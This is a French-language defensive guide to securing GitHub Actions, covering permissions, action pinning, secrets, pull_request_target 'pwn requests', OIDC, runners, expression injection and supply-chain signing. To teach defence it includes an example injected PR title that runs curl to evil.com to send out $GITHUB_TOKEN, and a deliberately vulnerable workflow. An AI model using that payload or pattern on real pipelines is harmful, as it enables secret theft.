Sécurité de GitHub Actions : le guide définitif

Sécurité de GitHub Actions : le guide définitif

par

GitHub Actions est devenue la plateforme CI/CD la plus adoptée au monde. Avec plus de 90 % des dépôts GitHub capables de l’utiliser nativement, elle propulse aussi bien de simples vérifications de linting que des déploiements multi-cloud complexes. Mais cette omniprésence en fait la surface d’attaque CI/CD la plus ciblée du développement logiciel moderne.

En 2024 et 2025, des attaquants ont compromis des GitHub Actions populaires (comme tj-actions/changed-files et reviewdog), injecté du code malveillant dans des milliers de workflows CI et exfiltré les secrets d’organisations qui pensaient leurs pipelines à l’abri. Les attaques de la chaîne d’approvisionnement contre le CI/CD ne sont plus théoriques : elles sont devenues courantes.

Ce guide est une référence complète et pratique pour sécuriser GitHub Actions de fond en comble. Que vous soyez ingénieur DevOps en train de durcir des workflows de production, architecte sécurité définissant la politique CI/CD, ou développeur souhaitant cesser de livrer des vulnérabilités via votre pipeline, cet article couvre tout ce que vous devez savoir — avec, tout au long, des liens vers des labs détaillés et des aide-mémoire.

Comprendre le modèle de sécurité de GitHub Actions

Avant de pouvoir sécuriser GitHub Actions, vous devez comprendre le fonctionnement réel de son modèle de sécurité. GitHub Actions repose sur un modèle de confiance construit autour de trois piliers : les tokens d’authentification, les déclencheurs de workflow et les environnements d’exécution.

Le GITHUB_TOKEN

Chaque exécution de workflow se voit automatiquement attribuer un GITHUB_TOKEN — un token à courte durée de vie limité au dépôt où s’exécute le workflow. Ce token est le principal mécanisme d’authentification pour interagir avec l’API GitHub depuis les workflows. Par défaut, il dispose de larges permissions de lecture/écriture sur l’ensemble du dépôt, y compris la possibilité de pousser du code, de gérer les issues et de modifier les packages.

L’enseignement de sécurité crucial : les permissions par défaut de GITHUB_TOKEN sont bien trop larges pour la plupart des workflows. Un workflow qui doit seulement publier un commentaire sur une PR ne devrait pas avoir la permission de pousser du code. Pourtant, sans configuration explicite, c’est le cas.

Les déclencheurs de workflow

GitHub Actions prend en charge des dizaines de déclencheurs d’événements — push, pull_request, pull_request_target, workflow_dispatch, schedule, issue_comment, et bien d’autres. Chaque déclencheur comporte des implications de sécurité différentes :

  • pull_request — S’exécute dans le contexte du code du fork. Le GITHUB_TOKEN est en lecture seule. Les secrets ne sont pas accessibles depuis les forks. C’est le déclencheur le plus sûr pour les contributions externes.
  • pull_request_target — S’exécute dans le contexte du dépôt de base. Le GITHUB_TOKEN dispose d’un accès en écriture. Les secrets sont accessibles. C’est extrêmement dangereux si vous extrayez le code du head de la PR.
  • push — S’exécute sur le commit poussé. Accès complet aux secrets et aux tokens en écriture. Sûr uniquement pour les branches de confiance.
  • workflow_dispatch — Déclencheur manuel. Utile pour les déploiements contrôlés, mais validez les paramètres d’entrée.
  • schedule — S’exécute selon une planification cron sur la branche par défaut. Dispose d’un accès en écriture et des secrets. Assurez-vous que les workflows planifiés ne peuvent pas être modifiés par des PR non fiables.

Environnements et protection des déploiements

Les environnements GitHub fournissent une frontière de sécurité supplémentaire. Vous pouvez y attacher des règles de protection — réviseurs requis, délais d’attente, restrictions de branches et politiques de branches de déploiement. Les secrets peuvent être limités à des environnements précis, garantissant que les identifiants de production ne sont accessibles qu’aux workflows qui déploient en production.

Les environnements comptent parmi les fonctionnalités de sécurité les plus sous-utilisées de GitHub Actions. Si vous ne les utilisez pas, il vous manque une couche de contrôle essentielle.

Permissions de workflow : le principe du moindre privilège

L’amélioration de sécurité la plus déterminante que vous puissiez apporter à n’importe quel workflow GitHub Actions consiste à restreindre les GITHUB_TOKEN permissions. GitHub vous permet de définir les permissions à deux niveaux : l’ensemble du workflow et chaque job individuellement.

Définir des permissions par défaut en lecture seule

Au niveau de l’organisation ou du dépôt, rendez-vous dans Settings → Actions → General → Workflow permissions et sélectionnez « Read repository contents and packages permissions ». Ainsi, chaque workflow démarre avec des permissions minimales et doit demander explicitement tout accès au-delà de la lecture.

Dans vos fichiers de workflow, déclarez toujours les permissions explicitement au niveau supérieur :

permissions:
  contents: read
  pull-requests: write  # Only if needed

Pour les jobs qui nécessitent des permissions différentes, déclarez-les au niveau du job. Les permissions de job priment sur celles du workflow pour ce job précis, offrant un contrôle encore plus fin :

jobs:
  build:
    permissions:
      contents: read
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - run: npm build

  deploy:
    permissions:
      contents: read
      id-token: write  # For OIDC
    runs-on: ubuntu-latest
    steps:
      - uses: aws-actions/configure-aws-credentials@v4

Pour une référence complète des permissions nécessaires aux opérations courantes, consultez notre Cheat Sheet Sécurité GitHub Actions, qui associe chaque tâche courante à son jeu minimal de permissions requises.

Épinglage des actions : se défendre contre les attaques de la chaîne d’approvisionnement

Chaque directive uses: de votre workflow est une dépendance — et comme toute dépendance, elle peut être compromise. L’incident tj-actions/changed-files de début 2025 a démontré précisément ce qui se passe lorsqu’une action populaire est détournée : l’attaquant a modifié l’action pour exfiltrer le GITHUB_TOKEN et d’autres secrets depuis chaque dépôt qui la référençait par tag.

Pourquoi les tags et les branches ne suffisent pas

Lorsque vous référencez une action comme actions/checkout@v4, vous faites confiance au mainteneur de l’action — et à quiconque compromet son compte — pour ne pas déplacer ni modifier ce tag. Les tags Git sont mutables. Un attaquant qui obtient un accès en écriture à un dépôt peut faire pointer v4 vers n’importe quel commit de son choix.

Épinglage par SHA

La solution consiste à épingler les actions à leur SHA de commit complet :

# Bad - mutable tag
- uses: actions/checkout@v4

# Good - immutable SHA pin with version comment
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1

Les références épinglées par SHA sont immuables. Même si le dépôt de l’action est compromis, le SHA pointe vers le code exact que vous avez audité. Le commentaire en fin de ligne permet aux humains d’identifier la version d’un coup d’œil, et des outils comme Dependabot peuvent toujours proposer des mises à jour.

Automatiser les mises à jour des épinglages avec Dependabot

L’épinglage par SHA crée une charge de maintenance : vous devez mettre à jour les épinglages à chaque nouvelle version. Dependabot résout ce problème. Ajoutez une configuration .github/dependabot.yml :

version: 2
updates:
  - package-ecosystem: "github-actions"
    directory: "/"
    schedule:
      interval: "weekly"

Dependabot ouvrira automatiquement des PR pour mettre à jour vos actions épinglées par SHA vers la dernière version, tout en conservant la référence SHA immuable. Vous obtenez ainsi la sécurité de l’épinglage avec le confort des mises à jour automatisées.

Pour une mise en pratique de l’épinglage des actions, du durcissement des permissions et des bonnes pratiques de gestion des secrets dans un vrai workflow, réalisez notre Lab : durcir les workflows GitHub Actions — permissions, épinglage et secrets.

Gestion des secrets

Les secrets dans GitHub Actions existent à trois niveaux : dépôt, environnement et organisation. Comprendre les différences et choisir le bon niveau est essentiel pour la sécurité.

Secrets de dépôt

Accessibles à tous les workflows d’un dépôt. Tout workflow déclenché par un push ou une pull_request (depuis le même dépôt) peut y accéder. Ils ne sont pas accessibles aux workflows déclenchés par les événements pull_request provenant de forks.

Secrets d’environnement

Limités à un environnement précis. Seuls les jobs qui référencent cet environnement peuvent accéder à ses secrets. Combinés aux règles de protection d’environnement (réviseurs requis, restrictions de branches), les secrets d’environnement offrent la meilleure protection native des secrets dans GitHub Actions.

Secrets d’organisation

Partagés entre les dépôts. Ils peuvent être restreints à des dépôts précis ou rendus accessibles à tous. Utiles pour des identifiants partagés comme les tokens de registre de conteneurs, mais ils augmentent le rayon d’impact en cas de compromission.

Sécurité des forks et pull_request_target

L’interaction entre les forks, les secrets et pull_request_target est l’un des domaines les plus dangereux de la sécurité GitHub Actions. Voici la règle essentielle :

N’extrayez jamais le code du head d’une PR dans un workflow pull_request_target pour l’exécuter avec accès aux secrets.

Ce schéma — parfois appelé « pwn request » — permet à un attaquant de soumettre, depuis un fork, une PR qui modifie le script de build, la suite de tests ou tout autre code exécuté. Comme pull_request_target s’exécute avec les secrets et le token en écriture du dépôt de base, le code de l’attaquant s’exécute avec un accès complet à vos identifiants.

# DANGEROUS - Never do this
on: pull_request_target
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}  # Attacker-controlled code!
      - run: npm test  # Runs attacker's code with your secrets

Si vous devez utiliser pull_request_target, n’extrayez que le code de la branche de base, ou utilisez un schéma à deux workflows où le premier (déclenché par pull_request) produit des artifacts, et le second (déclenché par workflow_run) traite ces artifacts avec des permissions élevées.

OIDC et fédération d’identité de charge de travail

Les identifiants à longue durée de vie stockés en tant que secrets GitHub sont une bombe à retardement. Si un secret est exfiltré — via une action compromise, une fuite dans les logs ou une PR malveillante — l’attaquant conserve un accès persistant jusqu’à la rotation manuelle de l’identifiant. La solution est la fédération d’identité de charge de travail basée sur OIDC.

Comment fonctionne OIDC dans GitHub Actions

GitHub Actions peut émettre des tokens OIDC qui attestent l’identité d’une exécution de workflow. Ces tokens contiennent des claims sur le dépôt, la branche, l’environnement, l’acteur et le workflow. Les fournisseurs cloud (AWS, GCP, Azure) peuvent être configurés pour faire confiance à ces tokens et les échanger contre des identifiants à courte durée de vie.

Le déroulement est le suivant :

  1. Votre workflow demande un token OIDC au endpoint de tokens de GitHub (nécessite la permission id-token: write).
  2. Le token est envoyé au endpoint STS/d’échange de tokens de votre fournisseur cloud.
  3. Le fournisseur cloud valide la signature du token à l’aide du document de découverte OIDC de GitHub.
  4. Si les claims du token correspondent à votre politique de confiance (dépôt, branche, environnement corrects), le fournisseur émet des identifiants à courte durée de vie.
  5. Votre workflow utilise ces identifiants temporaires — qui expirent automatiquement.

Exemple : AWS avec OIDC

permissions:
  id-token: write
  contents: read

steps:
  - uses: aws-actions/configure-aws-credentials@v4
    with:
      role-to-assume: arn:aws:iam::123456789012:role/github-actions-deploy
      aws-region: us-east-1
      # No access keys needed!

Avec OIDC, il n’y a aucun identifiant statique à voler. Même si un attaquant exfiltre le token OIDC, celui-ci expire en quelques minutes et est lié à des claims précis qui limitent son utilisation.

Pour approfondir les concepts derrière la fédération d’identité de charge de travail, lisez notre guide Identifiants de courte durée et fédération d’identité de charge de travail en CI/CD. Pour le mettre en pratique, suivez notre Lab : configurer l’identité de charge de travail OIDC pour GitHub Actions et AWS.

Sécurité des runners : hébergés vs. auto-hébergés

Le runner est l’endroit où votre code de workflow s’exécute réellement. Les propriétés de sécurité de votre runner déterminent directement le rayon d’impact de toute compromission de workflow.

Runners hébergés par GitHub

Les runners hébergés par GitHub sont des VM éphémères, provisionnées à neuf pour chaque job puis détruites. Cela offre une isolation forte :

  • Aucune persistance entre les jobs — un malware ne peut pas survivre d’une exécution à l’autre.
  • Aucun mouvement latéral vers d’autres workflows ou dépôts.
  • Des images de base prévisibles et durcies, maintenues par GitHub.

Pour la plupart des workflows, les runners hébergés par GitHub sont l’option la plus sûre. La contrepartie : une personnalisation limitée et des coûts potentiellement plus élevés pour les charges de calcul intensives.

Runners auto-hébergés : risques et mesures d’atténuation

Les runners auto-hébergés s’exécutent sur votre propre infrastructure. Ils offrent plus de contrôle et peuvent revenir moins cher à grande échelle, mais ils introduisent des risques de sécurité importants :

  • Persistance — Si un runner n’est pas éphémère, un workflow compromis peut y implanter des portes dérobées qui affecteront les exécutions futures.
  • État partagé — Les identifiants, caches et artifacts des jobs précédents peuvent être accessibles.
  • Accès réseau — Les runners auto-hébergés ont souvent accès à des réseaux internes, des bases de données et des services que les runners hébergés par GitHub ne peuvent pas atteindre.
  • Exploitation via les forks — Si un dépôt public utilise des runners auto-hébergés et autorise les PR de forks, n’importe qui peut exécuter du code arbitraire sur votre infrastructure.

Runners éphémères avec Actions Runner Controller (ARC)

La meilleure approche pour les runners auto-hébergés est de les rendre éphémères. Actions Runner Controller (ARC) s’exécute sur Kubernetes et provisionne un pod runner neuf pour chaque job. Une fois le job terminé, le pod est détruit — exactement comme un runner hébergé par GitHub, mais sur votre propre infrastructure.

Bonnes pratiques de sécurité clés pour ARC :

  • Utilisez le mode Kubernetes (containerMode) pour une isolation maximale.
  • Définissez des limites de ressources pour prévenir les abus de crypto-minage.
  • Utilisez des network policies pour restreindre le trafic sortant des pods runner.
  • Restreignez les groupes de runners à des dépôts précis.
  • N’affectez jamais de runners auto-hébergés à des dépôts publics, sauf s’ils sont entièrement éphémères.

Pour un guide complet sur l’architecture de sécurité des runners, consultez Sécuriser les runners GitHub Actions. Pour déployer des runners éphémères en pratique, réalisez notre Lab : runners auto-hébergés éphémères avec Actions Runner Controller.

Sécurité des actions tierces

Chaque action tierce que vous référencez dans un workflow est du code qui s’exécute au sein de votre pipeline CI/CD, avec accès à votre code source, vos secrets et vos identifiants de déploiement. Il est essentiel de traiter les actions tierces comme n’importe quelle autre dépendance logicielle.

Auditer les actions avant de les utiliser

Avant d’ajouter une action tierce à vos workflows :

  1. Lisez le code source — Vérifiez ce que fait réellement l’action. Recherchez les appels réseau, les accès aux secrets et les modifications de fichiers.
  2. Vérifiez le mainteneur — Est-ce un créateur vérifié ? Le dépôt est-il activement maintenu ? À quelle vitesse les problèmes de sécurité sont-ils traités ?
  3. Examinez les permissions qu’elle demande — Une action qui se contente d’« étiqueter les PR » a-t-elle besoin de contents: write ? C’est un signal d’alarme.
  4. Recherchez des politiques de sécurité publiées — Le dépôt de l’action possède-t-il un SECURITY.md ? Existe-t-il des processus de divulgation des vulnérabilités ?
  5. Épinglez au SHA — Épinglez toujours, même après audit. Le code peut changer après votre revue.

Mettre en place des listes d’autorisation d’actions

Au niveau de l’organisation, GitHub vous permet de restreindre les actions utilisables. Rendez-vous dans Organization Settings → Actions → General → Policies et configurez une liste d’autorisation. Les options possibles :

  • N’autoriser que les actions créées par GitHub.
  • Autoriser les actions de créateurs vérifiés, plus une liste d’autorisation spécifique.
  • N’autoriser que des actions précises, par référence complète.

Pour les entreprises, la liste d’autorisation est un contrôle essentiel. Elle empêche les développeurs d’ajouter à la légère des actions non vérifiées aux workflows et fournit un processus d’approbation centralisé pour les nouvelles dépendances d’actions.

Pour vous exercer à détecter les comportements malveillants dans les GitHub Actions à l’aide de techniques d’analyse statique, réalisez notre Lab : détecter les GitHub Actions malveillantes par analyse statique.

Injection d’expressions

L’injection d’expressions est l’une des vulnérabilités les plus courantes et les plus dangereuses des workflows GitHub Actions. Elle survient lorsqu’une entrée non fiable est interpolée directement dans une expression de workflow via la syntaxe ${{ }}.

Comment fonctionne l’injection d’expressions

Les expressions GitHub Actions sont évaluées avant que le shell ne les voie. Lorsque vous écrivez :

- run: echo "Hello ${{ github.event.pull_request.title }}"

L’expression est remplacée par le titre littéral de la PR avant même que la commande shell ne soit construite. Si un attaquant crée une PR dont le titre est :

"; curl http://evil.com/steal?token=$GITHUB_TOKEN; echo "

La commande shell résultante devient :

echo "Hello "; curl http://evil.com/steal?token=$GITHUB_TOKEN; echo ""

L’attaquant a injecté des commandes shell arbitraires dans votre workflow.

Contextes vulnérables

Les valeurs de contexte GitHub suivantes sont contrôlées par l’attaquant et ne devraient jamais être utilisées directement dans des blocs run: :

  • github.event.pull_request.title
  • github.event.pull_request.body
  • github.event.issue.title
  • github.event.issue.body
  • github.event.comment.body
  • github.event.review.body
  • github.event.head_commit.message
  • github.head_ref (nom de branche — contrôlé par l’attaquant dans les forks)

La correction : les variables d’environnement

Au lieu d’interpoler des expressions dans des blocs run:, passez-les par des variables d’environnement :

# Vulnerable
- run: echo "PR title: ${{ github.event.pull_request.title }}"

# Safe
- run: echo "PR title: $PR_TITLE"
  env:
    PR_TITLE: ${{ github.event.pull_request.title }}

Lorsque la valeur transite par une variable d’environnement, le shell la traite comme une chaîne littérale, et non comme du code à exécuter. Cela empêche totalement l’injection.

Sécurité de la chaîne d’approvisionnement : signature et provenance

Sécuriser votre pipeline CI/CD ne consiste pas seulement à protéger le pipeline lui-même : il s’agit aussi de garantir que les artifacts qu’il produit sont dignes de confiance. La sécurité de la chaîne d’approvisionnement pour GitHub Actions englobe la signature des artifacts, l’attestation de provenance et la vérification.

Signature des artifacts avec Cosign et Sigstore

Cosign, qui fait partie du projet Sigstore, permet la signature sans clé (keyless) d’images de conteneurs et d’autres artifacts à l’aide d’identités OIDC. Dans GitHub Actions, cela signifie que l’identité de votre workflow (dépôt, branche, workflow) devient l’identité de signature — aucune clé de signature statique à gérer ni à protéger.

steps:
  - uses: sigstore/cosign-installer@v3
  - run: cosign sign --yes ${{ env.IMAGE_REF }}
    env:
      COSIGN_EXPERIMENTAL: 1

La signature obtenue est enregistrée dans un journal de transparence (Rekor), fournissant une trace auditable attestant qu’un workflow précis, dans un dépôt précis, a produit un artifact précis.

Provenance SLSA

SLSA (Supply-chain Levels for Software Artifacts) fournit un cadre pour garantir l’intégrité des builds. L’action officielle actions/attest-build-provenance de GitHub génère des attestations de provenance SLSA qui enregistrent exactement comment un artifact a été construit — le dépôt source, le commit, le builder et les instructions de build.

La provenance SLSA répond à la question : « Puis-je prouver que cet artifact a été construit à partir de ce code source par ce système CI/CD ? » Pour toute organisation qui prend au sérieux la sécurité de la chaîne d’approvisionnement, l’attestation de provenance devrait faire partie de chaque workflow de release.

Pour une expérience pratique de la signature de conteneurs avec Cosign dans un pipeline CI/CD, consultez notre lab de signature Cosign. Pour mettre en œuvre la génération et la vérification de la provenance SLSA, réalisez notre lab de provenance SLSA.

Erreurs de configuration courantes : le top 5

Après avoir audité des centaines de workflows GitHub Actions, voici les cinq erreurs de configuration de sécurité les plus fréquentes que nous rencontrons :

1. Bloc de permissions absent

Les workflows dépourvus de bloc permissions: explicite héritent des permissions par défaut du token du dépôt — généralement lecture/écriture sur tout. Cela viole le moindre privilège et maximise le rayon d’impact de toute compromission.

Correction : Ajoutez un bloc permissions: read-all de niveau supérieur (ou un bloc de permissions granulaire) à chaque fichier de workflow.

2. Actions tierces non épinglées

Utiliser des références de tag comme @v4 ou @main pour des actions tierces vous expose aux attaques de la chaîne d’approvisionnement. Si le dépôt de l’action est compromis, les attaquants peuvent pousser du code malveillant sous le tag existant.

Correction : Épinglez toutes les actions tierces à des SHA de commit complets. Utilisez Dependabot pour gérer les mises à jour.

3. Injection d’expressions dans les blocs run:

Interpoler directement des valeurs de contexte contrôlées par l’attaquant (titres de PR, corps d’issues, noms de branches) dans des étapes run: permet l’exécution de commandes arbitraires.

Correction : Faites toujours transiter les valeurs de contexte non fiables par des variables d’environnement.

4. Usage dangereux de pull_request_target

Extraire et exécuter le code du head d’une PR dans un workflow pull_request_target donne à l’attaquant accès aux secrets du dépôt et aux permissions en écriture.

Correction : N’extrayez jamais github.event.pull_request.head.sha dans des workflows pull_request_target. Utilisez plutôt le schéma à deux workflows.

5. Identifiants cloud à longue durée de vie stockés comme secrets

Stocker des clés d’accès AWS, du JSON de compte de service GCP ou des secrets client Azure en tant que secrets de dépôt ou d’organisation crée une exposition d’identifiants persistante. Si ces secrets fuitent, l’attaquant obtient un accès durable à vos ressources cloud.

Correction : Remplacez les identifiants statiques par la fédération d’identité de charge de travail OIDC. Sans secret à voler, il n’y a plus d’exposition d’identifiants.

Checklist de mise en œuvre

Utilisez cette checklist pour durcir systématiquement vos workflows GitHub Actions. Chaque élément renvoie à une section de ce guide :

  • Permissions : Réglez les permissions par défaut du token de l’organisation/du dépôt sur la lecture seule.
  • Permissions : Ajoutez des blocs permissions: explicites à chaque workflow et à chaque job.
  • Épinglage : Épinglez toutes les actions tierces à des SHA de commit complets.
  • Épinglage : Configurez Dependabot pour l’écosystème github-actions.
  • Secrets : Migrez des secrets de dépôt vers des secrets d’environnement assortis de règles de protection.
  • Secrets : Auditez tous les workflows pull_request_target à la recherche de schémas d’extraction dangereux.
  • OIDC : Remplacez les identifiants cloud statiques par la fédération d’identité de charge de travail OIDC.
  • OIDC : Configurez des filtres sur le claim subject pour restreindre la portée du token (dépôt, branche, environnement).
  • Runners : Assurez-vous que les runners auto-hébergés sont éphémères (utilisez ARC ou équivalent).
  • Runners : N’affectez jamais de runners auto-hébergés à des dépôts publics.
  • Actions : Mettez en place une liste d’autorisation d’actions au niveau de l’organisation.
  • Actions : Auditez toutes les actions tierces avant de les approuver.
  • Injection : Recherchez (grep) ${{ dans les blocs run: de tous vos workflows et corrigez les vecteurs d’injection.
  • Chaîne d’approvisionnement : Mettez en place la signature des artifacts avec Cosign/Sigstore.
  • Chaîne d’approvisionnement : Générez la provenance SLSA pour les artifacts de release.
  • Linting : Ajoutez actionlint et zizmor à votre pipeline CI pour détecter automatiquement les problèmes.
  • Environnements : Utilisez les environnements GitHub avec réviseurs requis pour les déploiements en production.

Labs associés

La théorie a ses limites. Mettez en pratique ce que vous avez appris dans ces labs :

Outils pour la sécurité de GitHub Actions

Automatisez l’application de la sécurité avec ces outils essentiels :

actionlint

actionlint est un outil d’analyse statique pour les fichiers de workflow GitHub Actions. Il détecte les erreurs de syntaxe, les incompatibilités de types, les commandes shell invalides et les problèmes de sécurité comme l’injection d’expressions. Exécutez-le en local et en CI pour repérer les problèmes avant qu’ils n’atteignent la production :

# Install and run
brew install actionlint
actionlint .github/workflows/*.yml

zizmor

zizmor est un linter de sécurité dédié à GitHub Actions. Contrairement aux linters généralistes, zizmor se concentre spécifiquement sur les problèmes de sécurité : injection d’expressions, actions non épinglées, permissions trop larges, déclencheurs dangereux, et plus encore. Il produit des résultats exploitables, assortis d’un niveau de sévérité et de conseils de correction :

# Install and run
pip install zizmor
zizmor .github/workflows/

Ces deux outils devraient faire partie de votre pipeline CI. Exécutez-les sur chaque PR qui modifie des fichiers de workflow. Ensemble, ils détectent la grande majorité des problèmes de sécurité courants de GitHub Actions avant leur fusion.

Conclusion

La sécurité de GitHub Actions ne se résume pas à un simple interrupteur de configuration : c’est une défense en profondeur qui couvre les permissions, les dépendances, les secrets, l’identité, l’infrastructure et l’intégrité de la chaîne d’approvisionnement. Les attaques contre les pipelines CI/CD gagnent en fréquence et en sophistication, et les organisations qui traitent la sécurité des pipelines comme une réflexion secondaire seront celles qui devront annoncer des brèches.

La bonne nouvelle, c’est que chaque mesure d’atténuation de ce guide est applicable dès aujourd’hui. Vous pouvez passer les permissions en lecture seule en cinq minutes. Vous pouvez activer Dependabot pour l’épinglage des actions en un commit. Vous pouvez migrer des identifiants statiques vers OIDC en un après-midi. Et vous pouvez déployer des runners éphémères avant la fin de la semaine.

Commencez par la checklist de mise en œuvre ci-dessus. Réalisez les labs. Exécutez actionlint et zizmor sur vos workflows existants et corrigez ce qu’ils signalent. Chaque étape de durcissement que vous franchissez augmente le coût pour les attaquants et réduit votre risque.

Votre pipeline CI/CD est un système de production. Sécurisez-le comme tel.